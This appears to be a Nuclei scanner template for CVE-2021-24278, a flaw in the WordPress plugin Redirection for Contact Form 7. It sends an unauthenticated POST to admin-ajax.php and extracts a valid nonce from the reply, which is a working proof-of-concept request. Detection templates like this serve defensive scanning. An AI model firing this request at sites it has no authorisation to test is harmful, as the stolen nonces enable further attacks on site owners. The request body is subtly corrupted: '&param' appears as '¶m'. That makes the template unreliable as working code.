48 lines
1.3 KiB
YAML
48 lines
1.3 KiB
YAML
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id: CVE-2021-24278
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info:
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name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation
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author: 2rs3c
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severity: high
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reference:
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278
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- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
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- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
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tags: cve,cve2021,wordpress,wp-plugin
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-24278
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description: "In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function."
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/wp-admin/admin-ajax.php"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: "action=wpcf7r_get_nonce¶m=wp_rest"
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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condition: and
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words:
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- '"success":true'
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part: body
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extractors:
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- type: regex
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part: body
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regex:
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- '"nonce":"[a-f0-9]+"'
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